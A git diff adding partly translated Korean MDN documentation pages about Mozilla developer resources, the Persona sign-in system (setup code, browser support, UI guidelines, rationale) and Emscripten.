+
+ 파이어폭스와 썬더버드 같은 모질라 프로젝트를 빌드하는 방법에 관한 정보. 이 페이지는 좀 더 정리를 해야할 필요가 있음.
+
+ The Mozilla platform
+
+ 모질라 플랫폼의 모든 API와 각 종 기술들(technologies)을 사용하는 방법에 관한 정보.
+
+ Documenting Mozilla
+
+ 모질라와 오픈 웹에 관한 새로운 문서를 적성하거나 기존의 문서 개선에 도움을 주는 방법.
+
+ Debugging
+
+ 모질라 코드 디버깅시, 유용한 팁과 가이드라인.
+
+ Quality assurance
+
+ 테스트와 버그 추적(tracking)에 관한 정보.
+
+ Localization
+
+ 모질라 프로젝트와 문서 등을 여러 언어로 번역에 필요한 참고할 문서들. 
+
+ Glossary
+
+ 모질라 해커들이 사용하는 용어와 정의.
+
+

Project pages

+
+
+ Thunderbird
+
+ 모질라 이메일 클라이언트
+
+ Sunbird
+
+ 모질라 달력(calendar) 프로젝트
+
+
+

Tools

+
+
+ Bugzilla
+
+ 모질라 프로젝트의 여러 이슈들을 추적하는데 사용되는 버그질라 (Bugzilla) 데이터베이스.
+
+ MXR
+
+ 웹 상에서 모질라 소스 코드를 보거나 특정 코드를 찾는데 사용되는 프로그램.
+
+ Bonsai
+
+ 본자이(Bonsai)는 누군가 소스 코드 파일을 수정했을 때, 이를 누가 수정하였는지 알려주는 프로그램.
+
+ Tinderbox
+
+ 틴더박스(Tinderbox)는 소스 코드 트리가 성공적으로 빌드 되었는지 아닌지를 보여줍니다. 여러분이 현재 올바르게 빌드된 소스 코드 트리를 가지고 작업하는지 알아보기 위해서는 소스 코드를 체크인하거나 체크아웃할 때 반드시 소스 코드 트리의 상태를 확인 하세요. 
+
+ Crash tracking
+
+ 사코로(Socorro)와 토크백(Talkback) 충돌(crash) 보고 시스템에 관한 정보.
+
+ Performance tracking
+
+ 모질라 프로젝트의 성능(performance) 정보를 보세요.
+
+ Developer forums
+
+ 모질자 개발 이슈들에 대한 이야기를 할 수 있는 토론 포럼의 주제별 목록
+
+
+

 

diff --git a/files/ko/mozilla/persona/bootstrapping_persona/index.html b/files/ko/mozilla/persona/bootstrapping_persona/index.html new file mode 100644 index 0000000000..126b3d7a43 --- /dev/null +++ b/files/ko/mozilla/persona/bootstrapping_persona/index.html @@ -0,0 +1,29 @@ +--- +title: Persona Hosted Services +slug: Mozilla/Persona/Bootstrapping_Persona +translation_of: Archive/Mozilla/Persona/Bootstrapping_Persona +--- +

To be truly successful and decentralized, Persona needs support from three different groups:

+ +

This creates a chicken-and-egg problem: none of these groups would significantly benefit unless there was a critical mass of users, but a distributed system can't get a critical mass of users without support from the above groups.

+

To solve this problem, https://login.persona.org hosts three resources:

+
    +
  1. A fallback Identity Provider, which vouches for users whose email providers don't support Persona.
  2. +
  3. A cross-browser, JavaScript implementation of the navigator.id APIs for browsers without native support.
  4. +
  5. A hosted verification API to make it easy for sites to verify user credentials.
  6. +
+

Together, this allows web sites to offer Persona to users regardless of browser and without email providers needing to get involved.

+

These services are temporary, and the Persona system is designed such that they transparently and automatically drop away as native support gets added to browsers and email providers. Thus, they will become less relevant as Persona matures, and may eventually be removed all together. At that point, https://login.persona.org won't feature at all in the Persona system.

+

Fallback Identity Provider

+

Any domain can become an Identity Provider as long as relying parties are willing to trust the certificates issued by that domain. We expect email providers to act as an IdPs for the addresses they administer, making the user experience of Persona seamless for those users.  It allows the user to leverage their existing relationship with the email provider when authenticating at other sites.

+

However, email providers won't become IdPs until there is significant demand from their users. In the meantime, Mozilla operates a fallback IdP at https://login.persona.org. This fallback allows users to sign into sites with their existing email address, regardless of whether or not the email provider supports Persona. The fallback IdP will certify email addresses from any domain using its own authentication flow and its own password, so long as the user is able to prove control of an address by clicking a link in a verification email.

+

Once an email provider supports Persona natively, its users will transparently begin use it instead of the fallback IdP.

+

Cross-browser API Library

+

For Persona to work, the user's browser must support the navigator.id API. Eventually, browsers will add native support for these APIs, but until then a cross-browser implementation is available at https://login.persona.org/include.js. By including this file, web sites can already begin using Persona. Once native implementations of the API are available, the library will automatically defer to those.

+

Remote verification service

+

At https://login.persona.org Mozilla hosts a remote verification service that web sites can use to verify identity assertions sent from users. This makes it simpler for web sites to support Persona as it takes care of parsing the assertion and cryptographically verifying user identities.

+

Once the Persona data formats stabilize, verification will most likely be done locally on each site's server. This transition is especially important for user privacy, since it will make it impossible for the fallback IdP to track its users. Even with remote verification, users of native IdPs can't be tracked by that IdP.

diff --git a/files/ko/mozilla/persona/browser_compatibility/index.html b/files/ko/mozilla/persona/browser_compatibility/index.html new file mode 100644 index 0000000000..b11f987e57 --- /dev/null +++ b/files/ko/mozilla/persona/browser_compatibility/index.html @@ -0,0 +1,86 @@ +--- +title: Browser compatibility +slug: Mozilla/Persona/Browser_compatibility +translation_of: Archive/Mozilla/Persona/Browser_compatibility +--- +

Supported Browsers

+

Persona is developed, tested, and supported with the following browsers. Thanks to Persona's cross-platform JavaScript library, users do not need add-ons in order to use Persona.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Desktop Browsers
Internet Explorer8.0*, 9.0, 10.0** (but see Compatibility Mode below)
FirefoxCurrent Stable, Beta, Aurora, Nightly, and Extended Support Releases
+ Previous Stable Release
ChromeLatest Stable Release
SafariLatest Stable Release
OperaLatest Stable Release
iOS Browsers
Mobile SafariiOS 5.x — 6.x
Android Browsers
Default Browser2.2 — 4.x
FirefoxCurrent Stable, Beta, Aurora, and Nightly Releases
+ Previous Stable Release
ChromeLatest Stable Release
+

*: For Windows XP. : For Windows Vista and Windows 7. **Windows 8.  : As time allows.

+

Unsupported Browsers

+ +

Internet Explorer "Compatibility Mode"

+

From version 8.0 onwards Internet Explorer supports a feature called Compatibility Mode, in which the browser may be instructed to emulate a pre-8.0 version when rendering a page. This feature may be controlled in three different ways

+
    +
  1. as a local setting in the browser
  2. +
  3. based on the presence and value of the DOCTYPE declaration in the page
  4. +
  5. as an instruction sent from the site, using the "X-UA-Compatible" header either as an HTTP header or as a <meta> tag in the page. This method overrides the other two.
  6. +
+

Because versions of Internet Explorer earlier than 8.0 are not supported by Persona, any version of Internet Explorer which is configured to emulate a pre-8.0 version will also not function with Persona. This is typically for one of the following reasons:

+ +

For more information, see "Understanding Compatibility Modes in Internet Explorer 8" and "IE8 and IE9 Complications".

+

Other Browsers

+

Despite not being explicitly supported, any browser that includes both {{ domxref("window.postMessage()") }} and {{ domxref("Storage", "localStorage") }} should work. These APIs have been available in all major browsers since March 2010.

+

Known Issues

+ diff --git a/files/ko/mozilla/persona/index.html b/files/ko/mozilla/persona/index.html new file mode 100644 index 0000000000..5b48646237 --- /dev/null +++ b/files/ko/mozilla/persona/index.html @@ -0,0 +1,137 @@ +--- +title: Persona +slug: Mozilla/Persona +tags: + - Persona +translation_of: Archive/Mozilla/Persona +--- +
+

연락 및 도움을 얻고 싶다면!

+ +

블로그를 확인하거나, 메일링 리스트에 가입하거나, IRC에서 #identity를 찾아보세요.

+
+ +

Mozilla Persona는 웹을 위한 크로스-브라우저 로그인 시스템으로, 쉽고 알맞은 사용이 가능합니다. Persona는 모든 주요 브라우저에서 작동하며, 오늘 당장 시작할 수 있습니다.

+ +

왜 우리와 우리의 사이트가 Persona를 사용해야 합니까?

+ +
    +
  1. Persona는 사이트별 암호에 대한 사용자의 생성, 관리, 안전하게 관리하는 부담을 사용자와 웹사이트로부터 완전히 제거합니다.
  2. +
  3. Persona는 사용이 간편합니다. 두 번의 클릭 만으로도 Persona 사용자는 VoostThe Times Crossword와 같은 사이트에 새로운 계정을 생성하지 않고도 로그인할 수 있습니다.
  4. +
  5. Persona는 쉽게 구현할 수 있습니다. 개발자는 반나절만에 Persona를 사이트에 추가할 수 있습니다.
  6. +
  7. 무엇보다도, 변경 불가능이 없습니다. 개발자는 모든 사용자의 확인 된 E-Mail 주소를 받고, 사용자는 Persona에 어떠한 E-Mail 주소도 사용할 수 있습니다.
  8. +
+ +

여기에 더해, Persona는 점점 나아지고 있습니다: Persona는 공개된 분산프로트콜로 제작되었으며, 직접 브라우저와 통합할 수 있으며 이메일 제공자가 네이티브 지원을 할 수 있도록 합니다. Persona를 사용한 사이트들은 오늘날 코드를 전혀 바꾸지 않아도 자동적으로 UX가 개선됩니다.

+ +

시작하기 위해 읽어보세요!

+ +
노트: Persona는 개발 중입니다. 블로그로부터 새로운 기능에 대해 알아보거나, 메일링 리스트에 가입하여 여러분의 의견을 피드백 해주세요!
+ +

사이트에서 Persona 사용하기

+ + + + + + + + + + + + +
+

시작하기

+ +
+
왜 Persona를 사용해야 합니까?
+
여러분의 사이트에 Persona를 지원해야 하는지, 그리고 어떻게 다른 ID와 인증 시스템이 다른지 비교해보십시오.
+
빠른 설치
+
여러분의 웹 사이트에 Persona를 빠르게 추가하는 방법을 알아보세요.
+
+
+

Persona API 레퍼런스

+ +

navigator.id API 레퍼런스

+ +
+
웹 개발자가 Persona를 사이트에 추가할 수 있는 navigator.id 객체를 위한 레퍼런스입니다.
+
인증 API 레퍼런스
+
원격 인증 API에 대한 레퍼런스를 아래 링크에서 제공하고 있습니다.
+
https://verifier.login.persona.org/verify
+
+
+

가이드

+ +
+
보안 고려 사항
+
따라하기와 기술은 여러분의 Persona 개발을 안전하게 만듭니다.
+
브라우저 호환성
+
브라우저의 Persona 지원에 대해 자세히 알아보세요.
+
국제화
+
다른 언어에서는 어떻게 Persona를 관리하는지 알아보세요.
+
운영자 가이드
+
Persona에 도움을 보탠 사이트에서 제공하는 팁을 알아보세요.
+
+
+

리소스

+ +
+
라이브러리와 플러그인
+
당신이 가장 선호하는 프로그래밍 언어, 웹 프레임워크, 블로그 또는 컨텐츠 관리 시스템(CMS)의 드롭인 라이브러리를 찾아보세요.
+
Persona 설명서
+
Persona 사이트를 위한 예제 소스 코드입니다. C# (MVC3), PHP, Node.JS와 그 외에 대한 미리보기를 포함합니다.
+
 
+
UI 가이드라인
+
사이트 이용자들에게 어떻게 Persona 로그인 시스템을 선사할 수 있는 지 담겨있습니다.
+
 
+
+
+ +

 

+ + + + + + + + +
+

ID 제공에 대한 정보

+ +

만약 여러분이 E-Mail 제공 업체 또는 다른 ID 제공 서비스라면 Persona ID 제공자에 대해 링크를 통해 익혀보세요.

+ +
+
IdP 개요
+
Persona ID 제공자의 고수준 보기.
+
IdP 구현
+
IdP에 대해 기술적으로 세세한 가이드입니다.
+
개발 팁
+
A set of tips and tricks useful while developing a new Identity Provider.
+
.well-known/browserid
+
IdP가 광고를 사용할 경우 프로토콜에 대한 지원과 .well-known/browserid 파일에 대한 목적과 구조에 대한 개요입니다.
+
+
+

Persona 프로젝트

+ +
+
어휘
+
BrowserID와 Persona의 용어 정의입니다.
+
FAQ
+
일반적인 질문에 대한 답변입니다.
+
프로토콜 개요
+
기본적인 BrowserID 프로토콜의 중간 수준 기술 개요입니다.
+
암호화
+
Persona와 BrowserID에 대한 암호화 개념을 살펴봅니다.
+
명세
+
세부적인 기술은 여기에 있습니다.
+
Persona 웹 사이트
+
To get Persona going, we're hosting three services at https://login.persona.org: a fallback Identity Provider, a portable implementation of the {{ domxref("navigator.id") }} APIs, and an identity assertion verification service.
+
Persona 소스코드
+
Persona의 소스코드를 GitHub에서 찾으실 수 있습니다!
+
+
+ +

 

diff --git a/files/ko/mozilla/persona/quick_setup/index.html b/files/ko/mozilla/persona/quick_setup/index.html new file mode 100644 index 0000000000..d39d67820f --- /dev/null +++ b/files/ko/mozilla/persona/quick_setup/index.html @@ -0,0 +1,248 @@ +--- +title: 빠른 시작 +slug: Mozilla/Persona/Quick_Setup +translation_of: Archive/Mozilla/Persona/Quick_Setup +--- +

5가지 단계를 통해 Persona 로그인 시스템을 여러분의 사이트에 추가할 수 있습니다.:

+ +
    +
  1. 페이지에 Persona 자바스크립트 라이브러리를 포함시킵니다.
  2. +
  3. "로그인", "로그아웃"버튼을 추가합니다
  4. +
  5. Watch for login and logout actions.
  6. +
  7. 이용자의 신원을 검증합니다.
  8. +
  9. 가장 잘 된 연습을 다시 재연합니다..
  10. +
+ +

여러분은 시작한 지 반나절 만에 작동하도록 할 수 있을 것이지만, 먼저 해야 할 것이 있습니다: 만약 여러분이 Persona를 여러분의 사이트에 사용하고자 한다면, 조금 기다린 후 Persona notices 메일링 리스트에 가입해주세요. It’s extremely low traffic, only being used to announce changes or security issues which might adversely impact your site.

+ +

1단계: Persona 라이브러리 추가하기

+ +

Persona는 어느 브라우저에서나 작동되도록 설계되었으며 모든 주요 웹브라우저들과 모바일 브라우저에서 작동합니다.

+ +

In the future we expect browsers to provide native support for Persona, but in the meantime we provide a JavaScript library that fully implements the user interface and client-side part of the protocol. By including this library, your users will be able to sign in with Persona whether or not their browser has native support.

+ +

Once this library is loaded in your page, the Persona functions you need ({{ domxref("navigator.id.watch()", "watch()") }}, {{ domxref("navigator.id.request()", "request()") }}, and {{ domxref("navigator.id.logout()", "logout()") }}) will be available in the global navigator.id object.

+ +

To include the Persona JavaScript library, place this script tag at the bottom of the page body:

+ +
<script src="https://login.persona.org/include.js"></script>
+
+ +

You must include this on every page which uses {{ domxref("navigator.id") }} functions. Because Persona is still in development, you should not self-host the include.js file.

+ +

Suppressing Compatibility Mode

+ +

You should also make sure users of Internet Explorer can't use Compatibility Mode, as this will break Persona. To do this:

+ + + +

For more information, see the notes in IE Compatibility Mode and "IE8 and IE9 Complications".

+ +

Step 2: Add login and logout buttons

+ +

Because Persona is designed as a DOM API, you must call functions when a user clicks a login or logout button on your site. To open the Persona dialog and prompt the user to log in, you should invoke {{ domxref("navigator.id.request()") }}. For logout, invoke {{ domxref("navigator.id.logout()") }}. Note, the call to {{ domxref("navigator.id.logout()", "logout()") }} must be made in the click handler of the logout button.

+ +

For example:

+ +
var signinLink = document.getElementById('signin');
+if (signinLink) {
+  signinLink.onclick = function() { navigator.id.request(); };
+}
+
+var signoutLink = document.getElementById('signout');
+if (signoutLink) {
+  signoutLink.onclick = function() { navigator.id.logout(); };
+}
+
+ +

What should those buttons look like? Check out our Branding Resources page for premade images and CSS-based buttons!

+ +

Step 3: Watch for login and logout actions

+ +

For Persona to function, it must be told what to do when a user logs in or out. This is done by calling the {{ domxref("navigator.id.watch()") }} function and supplying three parameters:

+ +
    +
  1. +

    The email address of the user currently logged into your site from this computer, or null if no one is logged in. For example, you might examine the browser's cookies to determine who is signed in.

    +
  2. +
  3. +

    A function to invoke when an onlogin action is triggered. This function is passed a single parameter, an “identity assertion,” which must be verified.

    +
  4. +
  5. +

    A function to invoke when an onlogout action is triggered. This function is not passed any parameters.

    +
  6. +
+ +
+

Note: You must always include both onlogin and onlogout when you call {{ domxref("navigator.id.watch()") }}.

+
+ +

For example, if you currently think Bob is logged into your site, you might do this:

+ +
var currentUser = 'bob@example.com';
+
+navigator.id.watch({
+  loggedInUser: currentUser,
+  onlogin: function(assertion) {
+    // A user has logged in! Here you need to:
+    // 1. Send the assertion to your backend for verification and to create a session.
+    // 2. Update your UI.
+    $.ajax({ /* <-- This example uses jQuery, but you can use whatever you'd like */
+      type: 'POST',
+      url: '/auth/login', // This is a URL on your website.
+      data: {assertion: assertion},
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(xhr, status, err) {
+        navigator.id.logout();
+        alert("Login failure: " + err);
+      }
+    });
+  },
+  onlogout: function() {
+    // A user has logged out! Here you need to:
+    // Tear down the user's session by redirecting the user or making a call to your backend.
+    // Also, make sure loggedInUser will get set to null on the next page load.
+    // (That's a literal JavaScript null. Not false, 0, or undefined. null.)
+    $.ajax({
+      type: 'POST',
+      url: '/auth/logout', // This is a URL on your website.
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(xhr, status, err) { alert("Logout failure: " + err); }
+    });
+  }
+});
+
+ +

In this example, both onlogin and onlogout are implemented by making an asynchronous POST request to your site’s backend. The backend then logs the user in or out, usually by setting or deleting information in a session cookie. Then, if everything checks out, the page reloads to take into account the new login state.

+ +

Note that if the identity assertion can't be verified, you should call {{ domxref("navigator.id.logout()") }}: this has the effect of telling Persona that no one is currently logged in. If you don't do this, then Persona may immediately call onlogin again with the same assertion, and this can lead to an endless loop of failed logins.

+ +

You can, of course, use AJAX to implement this without reloading or redirecting, but that’s beyond the scope of this tutorial.

+ +

Here is another example, this time not using jQuery.

+ +
function simpleXhrSentinel(xhr) {
+    return function() {
+        if (xhr.readyState == 4) {
+            if (xhr.status == 200){
+                // reload page to reflect new login state
+                window.location.reload();
+              }
+            else {
+                navigator.id.logout();
+                alert("XMLHttpRequest error: " + xhr.status);
+              }
+            }
+          }
+        }
+
+function verifyAssertion(assertion) {
+    // Your backend must return HTTP status code 200 to indicate successful
+    // verification of user's email address and it must arrange for the binding
+    // of currentUser to said address when the page is reloaded
+    var xhr = new XMLHttpRequest();
+    xhr.open("POST", "/xhr/sign-in", true);
+    // see http://www.openjs.com/articles/ajax_xmlhttp_using_post.php
+    var param = "assertion="+assertion;
+    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+    xhr.setRequestHeader("Content-length", param.length);
+    xhr.setRequestHeader("Connection", "close");
+    xhr.send(param); // for verification by your backend
+
+    xhr.onreadystatechange = simpleXhrSentinel(xhr); }
+
+function signoutUser() {
+    // Your backend must return HTTP status code 200 to indicate successful
+    // sign out (usually the resetting of one or more session variables) and
+    // it must arrange for the binding of currentUser to 'null' when the page
+    // is reloaded
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "/xhr/sign-out", true);
+    xhr.send(null);
+    xhr.onreadystatechange = simpleXhrSentinel(xhr); }
+
+// Go!
+navigator.id.watch( {
+    loggedInUser: currentUser,
+         onlogin: verifyAssertion,
+        onlogout: signoutUser } );
+
+ +

You must call navigator.id.watch() on every page with a login or logout button. To support Persona enhancements like automatic login and global logout for your users, you should call this function on every page of your site.

+ +

Persona will compare the email address you've passed into loggedInUser with its own knowledge of whether a user is currently logged in, and who they are. If these don't match, it may automatically invoke onlogin or onlogout on page load.

+ +

 

+ +

Step 4: Verify the user’s credentials

+ +

Instead of passwords, Persona uses “identity assertions,” which are kind of like single-use, single-site passwords combined with the user’s email address. When a user wants to log in, your onlogin callback will be invoked with an assertion from that user. Before you can log them in, you must verify that the assertion is valid.

+ +

It’s extremely important that you verify the assertion on your server, and not in JavaScript running on the user’s browser, since that would be easy to forge. The example above handed off the assertion to the site’s backend by using jQuery’s $.ajax() helper to POST it to /auth/login.

+ +

Once your server has an assertion, how do you verify it? The easiest way is to use a helper service provided by Mozilla. Simply POST the assertion to https://verifier.login.persona.org/verify with two parameters:

+ +
    +
  1. assertion: The identity assertion provided by the user.
  2. +
  3. audience: The hostname and port of your website. You must hardcode this value in your backend; do not derive it from any data supplied by the user.
  4. +
+ +

For example, if you’re example.com, you can use the command line to test an assertion with:

+ +
$ curl -d "assertion=<ASSERTION>&audience=https://example.com:443" "https://verifier.login.persona.org/verify"
+
+ +

If it’s valid, you’ll get a JSON response like this:

+ +
{
+  "status": "okay",
+  "email": "bob@eyedee.me",
+  "audience": "https://example.com:443",
+  "expires": 1308859352261,
+  "issuer": "eyedee.me"
+}
+
+ +

You can learn more about the verification service by reading The Verification Service API. An example /auth/login implementation, using Python, the Flask web framework, and the Requests HTTP library might look like this:

+ +
@app.route('/auth/login', methods=['POST'])
+def login():
+    # The request has to have an assertion for us to verify
+    if 'assertion' not in request.form:
+        abort(400)
+
+    # Send the assertion to Mozilla's verifier service.
+    data = {'assertion': request.form['assertion'], 'audience': 'https://example.com:443'}
+    resp = requests.post('https://verifier.login.persona.org/verify', data=data, verify=True)
+
+    # Did the verifier respond?
+    if resp.ok:
+        # Parse the response
+        verification_data = resp.json()
+
+        # Check if the assertion was valid
+        if verification_data['status'] == 'okay':
+            # Log the user in by setting a secure session cookie
+            session.update({'email': verification_data['email']})
+            return 'You are logged in'
+
+    # Oops, something failed. Abort.
+    abort(500)
+
+ +

For examples of how to use Persona in other languages, have a look at the cookbook.

+ +

The session management is probably very similar to your existing login system. The first big change is in verifying the user’s identity by checking an assertion instead of checking a password. The other big change is ensuring that the user’s email address is available for use as the loggedInUser parameter to {{ domxref("navigator.id.watch()") }}.

+ +

Logout is simple: you just need to remove the user’s session cookie.

+ +

Step 5: Review best practices

+ +

Once everything works and you’ve successfully logged into and out of your site, you should take a moment to review best practices for using Persona safely and securely.

+ +

If you're making a production site, have a look at the implementor's guide, where we've collected tips for adding the kind of features often needed in real-world login systems.

+ +

Lastly, don’t forget to sign up for the Persona notices mailing list so you’re notified of any security issues or backwards incompatible changes to the Persona API. The list is extremely low traffic: it’s only used to announce changes which may adversely impact your site.

diff --git a/files/ko/mozilla/persona/user_interface_guidelines/index.html b/files/ko/mozilla/persona/user_interface_guidelines/index.html new file mode 100644 index 0000000000..4be5607bf0 --- /dev/null +++ b/files/ko/mozilla/persona/user_interface_guidelines/index.html @@ -0,0 +1,113 @@ +--- +title: UI 가이드라인 +slug: Mozilla/Persona/User_interface_guidelines +tags: + - Persona +translation_of: Archive/Mozilla/Persona/User_interface_guidelines +--- +

Presenting sign-in options to users without confusing them can be difficult, especially if your site offers multiple sign-in options. This article aims to provide guidance about the best way to present Persona sign-in to your users. It covers four different possible approaches, depending on the different sign-in options the website supports:

+ + + +

In each approach there are three user interface elements to consider:

+ + + +

None of the recommendations here are mandatory.

+ +

Persona 전용으로

+ +

Persona가 유일한 로그인 옵션으로 제공된다면, 제공되는 경우의 수가 하나 뿐이기 때문에, 이용자의 혼란이 줄어들 것입니다., this offers the least confusing user experience, because the user has fewer choices to make.

+ + + +

여러분은 그냥 "로그인 / 회원가입"이라고 표시된 링크 하나를 보여주면 됩니다. 사용자들이 어떠한 방법으로 로그인 하는 지 미리 알도록 하기 위해서, Persona 아이콘을 포함하는 것을 추천합니다.
+
+

+ +

Sign up view

+ +

You don't need to implement the sign up view at all, as Persona takes care of it for you.

+ +

Sign in view

+ +

Similarly, you don't need to implement the Sign in view, as Persona takes care of it.

+ +

Persona + 일반적인 로그인 방법

+ +

In this case you support Persona alongside traditional sign-in, where you ask users for a username and password which you then store yourself.

+ + + +

You can show the text "Sign up/Sign in", with separate links for each choice:

+ +

Sign up view

+ +

When a user clicks "Sign up" you'll need to offer them the choice to sign up using Persona or to create a new username and password on your site.

+ +

In this case it's recommended that the button for the Persona option includes the Persona icon and is labeled "Email" rather than "Persona". Users don't know what "Persona" means and won't see it as a valid sign-up option:

+ +

+ +

Sign in view

+ +

When the user clicks "Sign in" you'll offer them the choice to sign in with Persona or the account they created on your site. This can be just like the "Sign up view", except you won't include the password confirmation field:

+ +

+ +

Persona + federated sign-in

+ +

In this case you support Persona alongside one or more other federated sign-in options such as Facebook Connect or Google+.

+ + + +

You can show the text "Sign up/Sign in", with separate links for each choice:

+ +

Sign up view

+ +

When a user clicks "Sign up" you'll need to offer them the choice to sign up using Persona or to sign up using one of the other federated identity options.

+ +

In this case it's recommended that the button for the Persona option includes the Persona icon and is labeled "Email" rather than "Persona". Users don't know what "Persona" means and won't see it as a valid sign-up option:

+ +

+ +

Sign in view

+ +

When the user clicks "Sign in" you'll offer them the choice to sign in with Persona or one of the other federated sign-in options. This can be just like the "Sign up view":

+ +

+ +

Persona + traditional sign-in + federated sign-in

+ +

In this case you support everything: Persona, traditional sign-in, and one or more additional federated sign-in options.

+ + + +

You can show the text "Sign up/Sign in", with separate links for each choice:

+ +

Sign up view

+ +

When a user clicks "Sign up" you'll need to offer them the choice to sign up using Persona, to create a new username and password on your site, or to sign up using one of the other federated identity options.

+ +

In this case it's recommended that the button for the Persona option includes the Persona icon and is labeled "Email" rather than "Persona". Users don't know what "Persona" means and won't see it as a valid sign-up option:

+ +

+ +

Sign in view

+ +

When the user clicks "Sign in" you'll offer them the choice to sign in with Persona, one of the other federated options, or the account they created on your site. This can be just like the "Sign up view", except you won't include the password confirmation field:

+ +

+ +

More Info

+ +

You can find more information about Persona's visual design in Sean Martell's style primer.

diff --git a/files/ko/mozilla/persona/why_persona/index.html b/files/ko/mozilla/persona/why_persona/index.html new file mode 100644 index 0000000000..7f3552c1b6 --- /dev/null +++ b/files/ko/mozilla/persona/why_persona/index.html @@ -0,0 +1,31 @@ +--- +title: 왜 Persona를 사용해야 합니까? +slug: Mozilla/Persona/Why_Persona +translation_of: Archive/Mozilla/Persona/Why_Persona +--- +

 

+

아이디와 비밀번호로 사용자 인증을 제공하는 일반적인 시스템은 불안합니다. 왜냐하면 사용자는 새로운 사이트나 서비스에 가입할 때 마다 복잡한 비밀번호를 만들어서 사용하고 그것을 기억해야 하고, 모든 사이트는 저장된 비밀번호를 안전하게 보관해야 합니다. 그러나 최근 신뢰할만한 기업들 마저 사용자 정보를 위험으로부터 지켜내지 못하는 일이 눈에 띄게 증가하고 있습니다.

+

Persona는 오픈되고, 분산된 웹 규모의 식별 시스템으로써 각 사이트마다 제공하는 비밀번호 인증 시스템을 대체합니다. 이 시스템은 Facebook Connect와 같이 중앙 집중식 인프라에 의존하지 않고 가용성을 제공하고, 개인 정보 보호와 관련된 결점을 보완하는 OpenID와 같은 시스템입니다. 

+

Persona는 사이트별 비밀번호를 제거합니다

+

Persona는 사이트별 비밀번호를 입력하는 대신 사용자가 단지 두 번의 클릭으로 사이트에 로그인 할 수 있도록 간단한 방법을 제공합니다. 이것은 안전하고, 보안적이고, 공개 키 암호화 방식의 상위에서 구축되었습니다. 패스워드 대신에 사용자의 브라우져는 하나의 사이트에만 유효하고, 몇 분 후에 만료되는 "신원 증명" 암호를 생성합니다. Persona를 사용하는 웹 사이트는 개별 비밀번호를 사용하지 않기 때문에 더 이상 비밀번호 데이터베이스의 보안적인 저장이나 잠재적 위험으로부터 벗어날 수 있습니다.

+

이 빠른 로그인 절차는 사용자가 새로운 사이트에 방문 했을 때 불편함을 덜어줍니다.

+

Persona의 ID는 E-Mail 주소입니다

+

Persona는 각종 형태의 사용자명 보다 E-Mail 주소를 ID로 사용합니다. 이것은 사용자와 개발자 모두에게 몇 가지 장점을 제공합니다.

+

사용자 입장에서의 장점

+ +

개발자 입장에서의 장점

+ +

E-Mail은 이미 셀 수 없는 공급자들로부터 수십억 개의 계정 갖추어진 완전한 분산 시스템이라는 것은 말할 필요도 없을 것입니다.

+

Persona는 다른 싱글-사인-온(SSO) 공급자와 어떻게 다른가?

+

Persona는 안전하고, 보안적이고, 쉽습니다. 사용자의 개인 정보, 권한, 선택을 다른 공급자가 하지 않거나, 하지 못하는 방법으로 보호합니다.

+

Facebook이나 Google+와 같은 대부분의 소셜 네트워크는 사용자에게 실명 사용을 요구하고, 하나의 계정만을 사용하도록 제한합니다. Persona는 E-Mail 주소 위에서 만들어 짐으로써 사용자가 자신의 직장, 집 그리고 학교와 같은 각기 다른 정체성을 구분할 수 있도록 허용합니다.

+

Persona는 오픈되고, 분산된 시스템입니다. E-Mail 주소를 가진 누구나 Persona를 이용해 사이트에 로그인 할 수 있습니다. 뿐만 아니라 누구나 E-Mail과 같이 자신의 ID 공급자를 호스팅하거나 다른 기관에 양도할 수 있습니다. 이것이 단일 계정을 요구하는 중앙 집중식 소셜 로그인 서비스와 다른 부분입니다.

+

Persona는 사용자의 개인 정보를 보호하기 위해 인증 과정 중간에 사용자의 브라우저를 넣은 새로운 접근 방식을 가집니다. 브라우저는 사용자의 E-Mail 공급자로부터 자격 증명을 획득한 이후, 다시 돌아와서 웹사이트에게 자격 증명을 제공합니다. E-Mail 공급자는 사용자를 추적하지 못하지만 웹사이트는 여전히 암호화 된 자격 증명을 확인해 사용자를 식별할 수 있습니다. OpenID를 포함한 대부분의 다른 시스템은 사용자의 로그인을 허용하기 전에 사이트에 "phone home"(역주: OAuth와 같은 시스템에서 콘텐츠 공급자가 사용자 식별 정보를 서비스 공급자에게 확인하여 식별을 확인하는 방식)을 요구합니다.

diff --git a/files/ko/mozilla/projects/emscripten/index.html b/files/ko/mozilla/projects/emscripten/index.html new file mode 100644 index 0000000000..9ce63c51cc --- /dev/null +++ b/files/ko/mozilla/projects/emscripten/index.html @@ -0,0 +1,37 @@ +--- +title: Emscripten +slug: Mozilla/Projects/Emscripten +translation_of: Mozilla/Projects/Emscripten +--- +

엠스크립튼은 자바스크립트 컴파일러의 LLVM입니다. 엠스크립튼은 LLVM 바이트 코드를 받아 웹에서 동작할 수 있는 자바스크립트로 컴파일해줍니다. (예를 들어, Clang을 이용한 C/C++ 코드나 그 외의 언어로부터 생성된 LLVM 바이트 코드)

+ +
+

중요: 이 페이지는 엠스크립튼에 대한 굉장히 간략한 설명만을 다루고 있습니다. 엠스크립튼에 대해 더욱 자세히 알고 싶다면, 공식 홈페이지의 엠스크립튼 Wiki에서 정보를 찾아보세요.

+
+ +

엠스크립튼을 사용하면, 당신은

+ + + +

엠스크립튼은 네이티브 코드를 웹에서 사용 가능하게 만들어줍니다. 아시다시피 웹은 표준 기반이면서, 독립적인 서로 호환 가능한 수많은 구현체들이 존재하며, PC부터 아이패드까지 모든 곳에서 동작하는 플랫폼이지요!

+ +

엠스크립튼을 이용하면 C나 C++ 개발자들은 일일히 코드를 자바스크립트로 포팅하는 고된 작업을 할 필요가 없습니다. 아니, 아예 자바스크립트를 배울 필요도 없습니다. 웹 개발자들에게도 또한 이점이 있는데, 이미 존재하는 수많은 네이티브 유틸리티나 라이브러리들을 그들의 사이트에 사용할 수 있기 때문입니다.

+ +

사실상 거의 모든 포팅 가능한 C나 C++ 코드베이스가 엠스크립튼을 이용하여 자바스크립트로 컴파일 될 수 있으며, 그 범위는 그래픽 렌더링이나 소리 재생, 파일 처리 등을 요구하는 고성능 게임에서부터 Qt와 같은 어플리케이션 프레임워크까지 다양합니다.

+ +

